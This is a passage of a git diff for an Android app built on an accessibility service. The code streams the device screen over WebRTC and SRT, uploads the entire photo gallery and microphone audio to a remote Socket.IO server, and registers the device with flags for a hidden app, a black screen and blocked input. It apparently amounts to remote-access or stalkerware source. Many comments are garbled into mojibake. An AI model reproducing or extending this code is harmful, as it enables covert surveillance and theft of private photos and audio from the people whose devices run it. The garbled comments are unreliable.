buildCaptureStartFailureResult( + phase: String, + throwable: Throwable, + config: ScreenConfig, + hasPermissionData: Boolean, + hasProjectionObject: Boolean + ): StartResult { + val exceptionClass = throwable.javaClass.simpleName.ifBlank { "UnknownException" } + val exceptionMessage = (throwable.message ?: "unknown") + .replace('\n', ' ') + .replace('\r', ' ') + .trim() + .take(320) + .ifEmpty { "unknown" } + val normalized = exceptionMessage.lowercase() + val permissionLike = + throwable is SecurityException || + normalized.contains("media_projection") || + normalized.contains("media projection") || + normalized.contains("permission") || + normalized.contains("token") || + normalized.contains("already used") || + normalized.contains("resultdata") || + normalized.contains("invalid") + val message = if (permissionLike) { + "media_projection_not_ready:webrtc_start_capture_failed" + } else { + "webrtc_start_capture_failed" + } + val extra = JSONObject().apply { + put("phase", phase) + put("exceptionClass", exceptionClass) + put("exceptionMessage", exceptionMessage) + put("permissionLike", permissionLike) + put("hasPermissionData", hasPermissionData) + put("hasProjectionObject", hasProjectionObject) + put("targetWidth", config.width) + put("targetHeight", config.height) + put("targetFps", config.fps) + put("targetBitrateBps", config.bitrateBps) + put("targetPriority", config.priority) + } + return StartResult(success = false, message = message, extra = extra) + } + + private open class SimpleSdpObserver : SdpObserver { + override fun onCreateSuccess(desc: SessionDescription?) {} + override fun onSetSuccess() {} + override fun onCreateFailure(error: String?) {} + override fun onSetFailure(error: String?) {} + } +} diff --git a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt index 31a26c9..31a2679 100644 --- a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt +++ b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt @@ -2,20 +2,37 @@ import android.content.Context import android.content.Intent +import android.media.AudioManager +import android.app.NotificationManager +import android.net.Uri import android.os.Build import android.os.Handler import android.os.Looper +import android.os.Vibrator +import android.os.VibratorManager +import android.provider.Settings import android.util.Log import android.view.WindowManager import com.hikoncont.crash.CrashLogUploader +import com.hikoncont.manager.SrtStreamManager +import com.hikoncont.manager.WebRTCManager import com.hikoncont.service.AccessibilityRemoteService +import com.hikoncont.service.ComprehensiveKeepAliveManager +import com.hikoncont.service.WorkManagerKeepAliveService +import com.hikoncont.util.ConfigReader +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.RuntimeFeatureFlags import io.socket.client.IO import io.socket.client.Socket import io.socket.emitter.Emitter import kotlinx.coroutines.* import org.json.JSONObject import org.json.JSONArray +import org.webrtc.IceCandidate import java.net.URISyntaxException +import java.net.URLEncoder +import java.util.Date +import kotlin.math.hypot /** * Socket.IO v4 client manager - resolves 47-second disconnect issue @@ -26,11 +43,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private const val TAG = "SocketIOManager" } - // 🆕 锁屏状态缓存与定时检测 + // comment cleaned private var isScreenLocked: Boolean = false private var lockStateJob: Job? = null - // 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪 + // comment cleaned private fun startLockStateMonitor() { try { @@ -47,13 +64,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "Lock state poll: isLocked=$now") } } catch (e: Exception) { - Log.w(TAG, "检测锁屏状态失败", e) + Log.w(TAG, "Lock state check failed", e) } kotlinx.coroutines.delay(10_000) } } } catch (e: Exception) { - Log.e(TAG, "启动锁屏状态监控失败", e) + Log.e(TAG, "Start lock state monitor failed", e) } } @@ -65,11 +82,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked") locked } catch (e: Exception) { - Log.w(TAG, "检测锁屏状态失败", e) + Log.w(TAG, "Lock state detection failed", e) false } } - // 🆕 应用信息获取 + // comment cleaned private fun getAppVersionName(): String { return try { val pm = service.packageManager @@ -82,7 +99,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } pi.versionName ?: "unknown" } catch (e: Exception) { - Log.w(TAG, "获取应用版本失败", e) + Log.w(TAG, "Failed to get app version", e) "unknown" } } @@ -98,18 +115,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } pm.getApplicationLabel(ai).toString() } catch (e: Exception) { - Log.w(TAG, "获取应用名称失败", e) + Log.w(TAG, "Failed to get app name", e) "unknown" } } /** - * 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启) + * comment cleaned */ fun sendGalleryData(items: List) { try { if (socket?.connected() == true) { - // 优化:逐张发送,避免单包过大 + // comment cleaned items.forEachIndexed { index, itx -> try { val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75) @@ -118,14 +135,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { return@forEachIndexed } - // 频率限制,避免与其他数据通道冲突 + // 棰戠巼闄愬埗锛岄伩鍏嶄笌鍏朵粬鏁版嵁閫氶亾鍐茬獊 val now = System.currentTimeMillis() if (now - lastGalleryImageTime < galleryImageInterval) { Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime)) } lastGalleryImageTime = System.currentTimeMillis() - // 大小限制 + // comment cleaned val approxBytes = (base64Data.length * 3) / 4 if (approxBytes > maxGalleryImageSize) { Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})") @@ -159,25 +176,69 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { checkConnectionAndReconnect() } } catch (e: Exception) { - Log.e(TAG, "发送相册数据失败", e) + Log.e(TAG, "Send gallery data failed", e) } } - // 🆕 相册读取/发送控制 + /** + * Send album metadata payload so Web can end loading state even when image streaming is slow. + */ + private fun sendAlbumData(items: List) { + try { + if (socket?.connected() != true) { + Log.w(TAG, "Socket not connected, cannot send album data") + return + } + + val albumList = JSONArray() + items.forEach { item -> + val entry = JSONObject().apply { + put("id", item.id) + put("displayName", item.displayName) + put("dateAdded", item.dateAdded) + put("mimeType", item.mimeType) + put("width", item.width) + put("height", item.height) + put("size", item.size) + put("contentUri", item.contentUri) + // Keep compatible field so web side can build resolvedUrl safely. + put("data", "") + } + albumList.put(entry) + } + + val payload = JSONObject().apply { + put("deviceId", getDeviceId()) + put("type", "album_data") + put("timestamp", System.currentTimeMillis()) + put("count", items.size) + put("albumList", albumList) + } + socket?.emit("album_data", payload) + Log.i(TAG, "Album metadata sent: ${items.size} items") + } catch (e: Exception) { + Log.e(TAG, "Send album data failed", e) + } + } + + // comment cleaned private var galleryJob: Job? = null /** - * 启动完整相册读取并发送任务;若正在进行则取消并重启 + * comment cleaned */ fun startReadAndSendAllGallery() { try { - // 取消上一次任务 + // comment cleaned galleryJob?.cancel() Log.d(TAG, "Cancel previous gallery read task (if exists)") galleryJob = scope.launch(Dispatchers.IO) { Log.d(TAG, "Start reading all gallery images (no limit)") val items = service.readGallery(limit = -1) + // Always send album metadata first so web can render/stop loading quickly. + sendAlbumData(items) + Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending") sendGalleryData(items) Log.d(TAG, "Gallery send task complete") @@ -188,7 +249,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送麦克风音频数据到服务器 + * comment cleaned */ fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") { try { @@ -208,21 +269,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket?.emit("microphone_audio", payload) } catch (e: Exception) { - Log.e(TAG, "发送音频数据失败", e) + Log.e(TAG, "Send microphone audio data failed", e) } } private var socket: Socket? = null private var isConnected = false private var isDeviceRegistered = false - private var serverUrl: String = "" // 保存服务器地址 + private var serverUrl: String = "" // 娣囨繂鐡ㄩ張宥呭閸c劌婀撮崸鈧? - // 崩溃日志上传器 + // comment cleaned private val crashLogUploader = CrashLogUploader(service) // Active connection check private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var connectionCheckJob: Job? = null + // Heartbeat ACK freshness tracking + @Volatile private var lastConnectionTestSentTime = 0L + @Volatile private var lastConnectionTestAckTime = 0L + @Volatile private var lastHeartbeatAckTime = 0L + @Volatile private var staleAckCount = 0 + // Connection diagnostics + @Volatile private var lastConnectTime = 0L + @Volatile private var lastDisconnectTime = 0L + @Volatile private var lastDisconnectReason = "" + @Volatile private var lastConnectErrorTime = 0L + @Volatile private var lastConnectErrorMessage = "" + @Volatile private var lastDeviceRegisterEmitTime = 0L + @Volatile private var lastDeviceRegisteredTime = 0L + private val diagnosticEvents = ArrayDeque() + private val diagnosticEventsLock = Any() + private val maxDiagnosticEvents = 120 // Device registration management private var registrationTimeoutHandler: Runnable? = null @@ -232,43 +309,184 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Network status monitoring private var lastNetworkType: String? = null - private var lastConnectTime: Long = 0 private var transportErrorCount = 0 private var lastTransportErrorTime = 0L // Network quality monitoring - private var networkQualityScore = 100 // 0-100分,100为最佳 + private var networkQualityScore = 100 // 0-100鍒嗭紝100涓烘渶浣? private var connectionSuccessCount = 0 private var connectionFailureCount = 0 - private val recentConnectionTimes = mutableListOf() // 记录最近10次连接持续时间 + private val recentConnectionTimes = mutableListOf() // 璁板綍鏈€杩?0娆¤繛鎺ユ寔缁椂闂? // Screen data send failure tracking private var screenDataFailureCount = 0 // Screen data send rate control private var lastScreenDataTime = 0L - private val screenDataInterval = 50L // 50ms interval, matching 20fps max throughput - private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制,避免数据过大 + @Volatile private var screenDataInterval = 16L // 鍥哄畾鐩爣绾?0fps + private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB limit to avoid transport overload + private var serverSupportsBinaryScreenData = false + private var serverSupportsWebRtc = false + private var serverSupportsSrtGateway = false + private var serverPreferredVideoTransport = "webrtc" + private var screenPerfLogCounter = 0 + @Volatile private var lastMediaProjectionRefreshTriggerTime = 0L + private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy() + private val mediaProjectionRefreshTriggerIntervalMs = webRtcTransportPolicy.refreshTriggerIntervalMs + private val mediaProjectionEmergencyRefreshMinIntervalMs = webRtcTransportPolicy.emergencyRefreshMinIntervalMs + private val webRtcOfferRetryAfterRefreshDelayMs = webRtcTransportPolicy.offerRetryDelayMs + private val webRtcOfferRetryAfterRefreshMax = webRtcTransportPolicy.offerRetryMax + private val webRtcOfferRetryLock = Any() + private val webRtcOfferRetryCountByClient: MutableMap = mutableMapOf() + private val srtStreamManager: SrtStreamManager by lazy { + SrtStreamManager(service, object : SrtStreamManager.Listener { + override fun onStateChanged(state: String, message: String, extra: JSONObject?) { + handleSrtStreamStateChanged(state, message, extra) + } + }) + } + private val webRTCManager: WebRTCManager by lazy { + WebRTCManager(service, object : WebRTCManager.Listener { + override fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String) { + sendWebRTCAnswer(deviceId, clientId, type, sdp) + } + + override fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) { + sendWebRTCIceCandidate(deviceId, clientId, candidate) + } + + override fun onStateChanged( + deviceId: String, + clientId: String, + state: String, + message: String, + extra: JSONObject? + ) { + handleWebRtcStateChanged(deviceId, clientId, state, message, extra) + } + + override fun onStopped(deviceId: String, clientId: String, reason: String) { + sendWebRTCStop(deviceId, clientId, reason) + } + }) + } - // 📷 摄像头数据发送控制 + // comment cleaned private var lastCameraDataTime = 0L - private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms,匹配5fps,与屏幕数据保持一致 - private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制,摄像头数据通常较小 + private val cameraDataInterval = 200L // 鎽勫儚澶存暟鎹彂閫侀棿闅?00ms锛屽尮閰?fps锛屼笌灞忓箷鏁版嵁淇濇寔涓€鑷? + private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB limit, camera frames are usually smaller private var cameraDataFailureCount = 0 // Connection stability monitoring private var lastSuccessfulDataSend = 0L - private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿 + private val dataStarvationTimeout = 10000L // 10绉掓病鏈夋垚鍔熷彂閫佹暟鎹涓洪ゥ楗? private var isDataStarved = false - // 🆕 公网IP相关 + // comment cleaned private var cachedPublicIP: String? = null private var lastIPCheckTime = 0L - private val IP_CACHE_DURATION = 300000L // 5分钟缓存 + private val IP_CACHE_DURATION = 300000L // 5鍒嗛挓缂撳瓨 + @Volatile private var lastInstallResolveAttemptTime = 0L + private val installResolveAttemptIntervalMs = 20000L // Gallery image send throttle/size limit private var lastGalleryImageTime = 0L private val galleryImageInterval = 250L private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB + + private fun handleSrtStreamStateChanged(state: String, message: String, extra: JSONObject?) { + val normalizedState = state.trim().lowercase() + val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped" + + try { + if (fallbackToWs) { + service.getScreenCaptureManager()?.resumeCapture() + } else if (normalizedState == "starting" || normalizedState == "running") { + service.getScreenCaptureManager()?.pauseCapture() + } + } catch (e: Exception) { + Log.w(TAG, "Sync WS capture state with SRT status failed", e) + } + + val mergedExtra = JSONObject() + if (extra != null) { + val keys = extra.keys() + while (keys.hasNext()) { + val key = keys.next() + mergedExtra.put(key, extra.opt(key)) + } + } + mergedExtra.put("wsFallbackActive", fallbackToWs) + + sendSrtDeviceStatus(state, message, mergedExtra) + } + + private fun handleWebRtcStateChanged( + deviceId: String, + clientId: String, + state: String, + message: String, + extra: JSONObject? + ) { + val normalizedState = state.trim().lowercase() + val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped" + val detail = extra?.optJSONObject("detail") + val forceResetPermissionData = shouldForceResetMediaProjectionPermissionData(message, detail) + val bypassRefreshCooldown = + shouldBypassMediaProjectionRefreshCooldown(message, detail) + val shouldRefresh = + normalizedState == "failed" && + shouldTriggerMediaProjectionRefreshByMessage(message, detail) + val refreshTriggered = shouldRefresh && triggerMediaProjectionRefreshIfNeeded( + triggerReason = "webrtc_state:$message", + forceResetPermissionData = forceResetPermissionData, + bypassCooldown = bypassRefreshCooldown + ) + if (normalizedState == "failed") { + val hasPermissionData = detail?.optBoolean("hasPermissionData", false) + val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) + val exceptionMessage = detail?.optString("exceptionMessage", "").orEmpty() + Log.i( + TAG, + "WebRTC failed state analysis: message=$message, hasDetail=${detail != null}, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, exception=$exceptionMessage, shouldRefresh=$shouldRefresh, forceReset=$forceResetPermissionData, bypassCooldown=$bypassRefreshCooldown, refreshTriggered=$refreshTriggered" + ) + } + + try { + if (fallbackToWs) { + service.getScreenCaptureManager()?.resumeCapture() + } else if (normalizedState == "starting" || normalizedState == "running") { + service.getScreenCaptureManager()?.pauseCapture() + } + } catch (e: Exception) { + Log.w(TAG, "Sync WS capture state with WebRTC status failed", e) + } + + val mergedExtra = JSONObject() + if (extra != null) { + val keys = extra.keys() + while (keys.hasNext()) { + val key = keys.next() + mergedExtra.put(key, extra.opt(key)) + } + } + if (refreshTriggered) { + mergedExtra.put("projectionRefreshTriggered", true) + if (forceResetPermissionData) { + mergedExtra.put("projectionRefreshForceReset", true) + } + if (bypassRefreshCooldown) { + mergedExtra.put("projectionRefreshBypassCooldown", true) + } + } + + sendWebRTCState( + deviceId = deviceId, + clientId = clientId, + state = state, + message = message, + extra = if (mergedExtra.length() > 0) mergedExtra else null + ) + } /** * Convert ws/wss protocol to http/https for Socket.IO v4 compatibility. @@ -296,6 +514,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Socket.IO v4 requires http/https protocol, convert ws/wss if needed val socketIoUrl = convertToSocketIoProtocol(serverUrl) this.serverUrl = socketIoUrl + recordDiagnosticEvent("CONNECT_START url=$socketIoUrl") Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl") // Validate server URL format @@ -313,38 +532,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { return } - // Config consistency check + // Config consistency check: only log mismatch. + // URL selection priority is handled by NetworkManager to avoid recursive override loops. val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) if (savedUrl != null) { val normalizedSaved = convertToSocketIoProtocol(savedUrl) if (normalizedSaved != socketIoUrl) { - Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL") - connect(normalizedSaved) - return + Log.i(TAG, "Resolved server URL: $socketIoUrl (local stored: $normalizedSaved)") } } // Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd val options = IO.Options().apply { - // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate - transports = arrayOf("polling", "websocket") + // Prefer websocket for lower latency, fallback to polling when needed + transports = arrayOf("websocket", "polling") reconnection = true // Enhanced network stability config - randomized delay to spread reconnect timing val randomOffset = (1000..3000).random().toLong() if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) - // Android 15 特殊配置 - 更保守的超时设置 - timeout = 60000 // 连接超时60秒 - reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒,避免集中重连 - reconnectionDelayMax = 20000 // 最大重连延迟20秒 - reconnectionAttempts = 20 // 减少重连次数,避免过度重试 + // Android 15 閻楄鐣╅柊宥囩枂 - 鏇翠繚瀹堢殑瓒呮椂璁剧疆 + timeout = 60000 // 杩炴帴瓒呮椂60绉? + reconnectionDelay = 5000L + randomOffset // 闁插秷绻涘鎯扮箿5-8绉掞紝閬垮厤闆嗕腑閲嶈繛 + reconnectionDelayMax = 20000 // 鏈€澶ч噸杩炲欢杩?0绉? + reconnectionAttempts = 20 // 鍑忓皯閲嶈繛娆℃暟锛岄伩鍏嶈繃搴﹂噸璇? Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms") } else { - // 其他版本使用优化后的配置 - timeout = 45000 // 连接超时45秒 - reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒,分散重连 - reconnectionDelayMax = 15000 // 最大重连延迟15秒 - reconnectionAttempts = 25 // 适中的重连次数 + // 鍏朵粬鐗堟湰浣跨敤浼樺寲鍚庣殑閰嶇疆 + timeout = 45000 // 杩炴帴瓒呮椂45绉? + reconnectionDelay = 3000L + randomOffset // 闁插秷绻涘鎯扮箿3-6绉掞紝鍒嗘暎閲嶈繛 + reconnectionDelayMax = 15000 // 鏈€澶ч噸杩炲欢杩?5绉? + reconnectionAttempts = 25 // 閫備腑鐨勯噸杩炴鏁? Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms") } @@ -354,17 +572,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Network environment adaptation if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) - // 添加网络容错配置,包含设备信息用于服务器优化 + // comment cleaned query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}" } - Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade") + Log.i(TAG, "Socket.IO config: websocket-first transport with polling fallback") } socket = IO.socket(socketIoUrl, options) setupEventListeners() socket?.connect() - // 启动锁屏状态监控 + // comment cleaned startLockStateMonitor() } catch (e: Exception) { @@ -380,6 +598,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}") isConnected = true isDeviceRegistered = false + lastConnectTime = System.currentTimeMillis() + lastDisconnectReason = "" + lastConnectErrorMessage = "" + recordDiagnosticEvent("CONNECTED socketId=${socket.id()}") // Record connection metrics lastConnectTime = System.currentTimeMillis() @@ -387,6 +609,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { connectionFailureCount = 0 connectionSuccessCount++ updateNetworkQualityScore(true) + val now = System.currentTimeMillis() + lastConnectionTestSentTime = 0L + lastConnectionTestAckTime = now + lastHeartbeatAckTime = now + staleAckCount = 0 // Detect network type change val currentNetworkType = getCurrentNetworkType() @@ -410,6 +637,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { socket.on(Socket.EVENT_DISCONNECT) { args -> val reason = if (args.isNotEmpty()) args[0].toString() else "unknown" Log.w(TAG, "Socket.IO v4 disconnected: $reason") + lastDisconnectTime = System.currentTimeMillis() + lastDisconnectReason = reason + recordDiagnosticEvent("DISCONNECTED reason=$reason") val currentTime = System.currentTimeMillis() val connectionDuration = currentTime - lastConnectTime @@ -432,6 +662,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { isConnected = false isDeviceRegistered = false + staleAckCount = 0 registrationAttempts = 0 registrationTimeoutHandler?.let { handler -> @@ -440,12 +671,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } connectionCheckJob?.cancel() + try { + srtStreamManager.release() + } catch (e: Exception) { + Log.w(TAG, "Release SRT manager on socket disconnect failed", e) + } + try { + webRTCManager.release() + } catch (e: Exception) { + Log.w(TAG, "Release WebRTC manager on socket disconnect failed", e) + } service.pauseScreenCapture() } socket.on(Socket.EVENT_CONNECT_ERROR) { args -> val error = if (args.isNotEmpty()) args[0] else null val errorMsg = error?.toString() ?: "unknown" + lastConnectErrorTime = System.currentTimeMillis() + lastConnectErrorMessage = errorMsg + recordDiagnosticEvent("CONNECT_ERROR $errorMsg") connectionFailureCount++ updateNetworkQualityScore(false, "connect_error", 0) @@ -472,6 +716,8 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val data = args[0] as JSONObject Log.i(TAG, "Device registered successfully: ${data.optString("message")}") isDeviceRegistered = true + lastDeviceRegisteredTime = System.currentTimeMillis() + recordDiagnosticEvent("DEVICE_REGISTERED deviceId=${data.optString("deviceId", getDeviceId())}") registrationAttempts = 0 // Cancel timeout handler @@ -489,6 +735,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Upload pending crash logs crashLogUploader.uploadPendingLogs(socket, getDeviceId()) + sendRuntimeFlagsSync("device_registered") } catch (e: Exception) { Log.e(TAG, "Failed to process device_registered response", e) @@ -504,7 +751,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val data = args[0] as JSONObject handleControlMessage(data) } catch (e: Exception) { - Log.e(TAG, "处理控制命令失败", e) + Log.e(TAG, "Failed to handle control command", e) } } } @@ -529,10 +776,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val data = args[0] as JSONObject val success = data.optBoolean("success", false) val timestamp = data.optLong("timestamp", 0) + val now = System.currentTimeMillis() + lastConnectionTestAckTime = now + lastHeartbeatAckTime = now + staleAckCount = 0 Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp") - // 重置心跳失败计数,表示连接正常 - // 这个响应表明服务器正常处理了我们的心跳测试 + // comment cleaned + // comment cleaned } else { Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args") } @@ -552,6 +803,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { if (args.isNotEmpty()) { val data = args[0] as JSONObject val timestamp = data.optLong("timestamp", 0) + val now = System.currentTimeMillis() + lastHeartbeatAckTime = now + lastConnectionTestAckTime = maxOf(lastConnectionTestAckTime, now) + staleAckCount = 0 Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp") } } catch (e: Exception) { @@ -559,7 +814,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } - // 处理UI层次结构分析请求 + // comment cleaned socket.on("ui_hierarchy_request") { args -> Log.e(TAG, "Received UI hierarchy request") Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}") @@ -588,6 +843,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val maxWidth = data.optInt("maxWidth", -1) val maxHeight = data.optInt("maxHeight", -1) service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight) + // comment cleaned + screenDataInterval = 16L + Log.i(TAG, "Screen send interval locked: ${screenDataInterval}ms (fixed 60fps target)") // Support server command to switch capture mode val captureMode = data.optString("captureMode", "") @@ -603,6 +861,83 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } } + + socket.on("webrtc_offer") { args -> + if (args.isNotEmpty()) { + try { + val data = args[0] as JSONObject + handleWebRtcOffer(data) + } catch (e: Exception) { + Log.e(TAG, "Failed to handle webrtc_offer", e) + } + } else { + Log.w(TAG, "Received webrtc_offer with no args") + } + } + + socket.on("webrtc_ice_candidate") { args -> + if (args.isNotEmpty()) { + try { + val data = args[0] as JSONObject + handleWebRtcIceCandidate(data) + } catch (e: Exception) { + Log.e(TAG, "Failed to handle webrtc_ice_candidate", e) + } + } + } + + socket.on("webrtc_stop") { args -> + val data = if (args.isNotEmpty() && args[0] is JSONObject) args[0] as JSONObject else JSONObject() + try { + handleWebRtcStop(data) + } catch (e: Exception) { + Log.e(TAG, "Failed to handle webrtc_stop", e) + } + } + + socket.on("server_capabilities") { args -> + if (args.isNotEmpty()) { + try { + val data = args[0] as JSONObject + val supportedTransports = mutableSetOf() + val transportArray = data.optJSONArray("supportedVideoTransports") + if (transportArray != null) { + for (i in 0 until transportArray.length()) { + val item = transportArray.optString(i, "").trim().lowercase() + if (item.isNotEmpty()) supportedTransports.add(item) + } + } + val preferredTransport = data.optString("videoTransport", "webrtc") + .trim() + .lowercase() + if (preferredTransport.isNotEmpty()) { + supportedTransports.add(preferredTransport) + } + + serverSupportsBinaryScreenData = data.optBoolean("screenBinary", false) + serverSupportsSrtGateway = data.optBoolean("srtGatewayEnabled", false) + serverSupportsWebRtc = supportedTransports.contains("webrtc") + serverPreferredVideoTransport = preferredTransport.ifEmpty { "webrtc" } + + val turnUrls = data.optString("webrtcTurnUrls", "").trim() + val turnUsername = data.optString("webrtcTurnUsername", "").trim() + val turnPassword = data.optString("webrtcTurnPassword", "").trim() + webRTCManager.updateTurnConfig( + urlsRaw = turnUrls, + username = turnUsername, + password = turnPassword + ) + + Log.i( + TAG, + "Server capabilities: screenBinary=$serverSupportsBinaryScreenData, webrtc=$serverSupportsWebRtc, srtGateway=$serverSupportsSrtGateway, videoTransport=$serverPreferredVideoTransport" + ) + } catch (e: Exception) { + Log.w(TAG, "Failed to parse server_capabilities", e) + } + } + } + } } @@ -616,21 +951,40 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { Log.d(TAG, "Registration throttled, skipping duplicate") return@launch } - + + val activeSocket = socket + if (activeSocket == null || !activeSocket.connected()) { + Log.w(TAG, "Skip device_register: socket not connected") + return@launch + } + + val socketId = activeSocket.id() + if (socketId.isNullOrBlank()) { + Log.w(TAG, "Skip device_register: socket id not ready") + return@launch + } + lastRegistrationTime = currentTime registrationAttempts++ - + // Allow more retry attempts before giving up val MAX_REGISTRATION_ATTEMPTS = 30 if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) { Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing") return@launch } - + + resolveInstallOwnerIfNeeded() + val publicIP = getPublicIP() + val ownerUserId = getLongConfigValue("ownerUserId") + val ownerUsername = getStringConfigValue("ownerUsername") + val ownerGroupId = getLongConfigValue("ownerGroupId") + val ownerGroupName = getStringConfigValue("ownerGroupName") val androidDeviceId = getDeviceId() - val socketId = socket?.id() ?: "unknown" + val supportsWebRtcUpload = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP + val supportsSrtUpload = srtStreamManager.isRuntimeSupported() val deviceInfo = JSONObject().apply { put("deviceId", androidDeviceId) put("socketId", socketId) @@ -649,6 +1003,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("input") put("screenshot") }) + put("supportedVideoTransports", org.json.JSONArray().apply { + if (supportsWebRtcUpload) { + put("webrtc") + } + put("ws_binary") + if (supportsSrtUpload) { + put("srt_mpegts") + } + }) + put("webrtcUploadSupported", supportsWebRtcUpload) + put("srtUploadSupported", supportsSrtUpload) put("inputBlocked", service.isInputBlocked()) put("blackScreenActive", service.isBlackScreenActive()) put("appHidden", service.isAppHidden()) @@ -660,11 +1025,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { put("romType", getROMType()) put("romVersion", getROMVersion()) put("osBuildVersion", getOSBuildVersion()) + ownerUserId?.let { put("ownerUserId", it) } + ownerUsername?.let { put("ownerUsername", it) } + ownerGroupId?.let { put("ownerGroupId", it) } + ownerGroupName?.let { put("ownerGroupName", it) } } - Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}") - - val emitResult = socket?.emit("device_register", deviceInfo) + Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${activeSocket.connected()}") + lastDeviceRegisterEmitTime = System.currentTimeMillis() + recordDiagnosticEvent("DEVICE_REGISTER_EMIT attempt=$registrationAttempts deviceId=$androidDeviceId") + val emitResult = activeSocket.emit("device_register", deviceInfo) Log.i(TAG, "device_register emit result: $emitResult") // Set registration timeout: retry after 10 seconds if no confirmation @@ -687,74 +1057,248 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } } + + /** + * comment cleaned + * comment cleaned + * comment cleaned + */ + private fun getStringConfigValue(key: String): String? { + return try { + ConfigReader.getConfigValue(service, key)?.trim()?.takeIf { it.isNotEmpty() } + } catch (e: Exception) { + Log.w(TAG, "Read config string failed: key=$key", e) + null + } + } + + /** + * comment cleaned + * comment cleaned + * 璇存槑: 浠?server_config.json 璇诲彇 Long 閰嶇疆锛屾牸寮忎笉鍚堟硶鏃惰繑鍥?null銆? + */ + private fun getLongConfigValue(key: String): Long? { + val raw = getStringConfigValue(key) ?: return null + return raw.toLongOrNull() + } + + /** + * comment cleaned + * comment cleaned + * 璇存槑: 鑻ユ湰鍦板皻鏈啓鍏ュ綊灞炰俊鎭紝鍒欎娇鐢ㄥ畨瑁匱oken鍚戝悗绔В鏋愬苟钀藉湴鍒伴厤缃枃浠躲€? + */ + private suspend fun resolveInstallOwnerIfNeeded() { + val existingOwnerUserId = 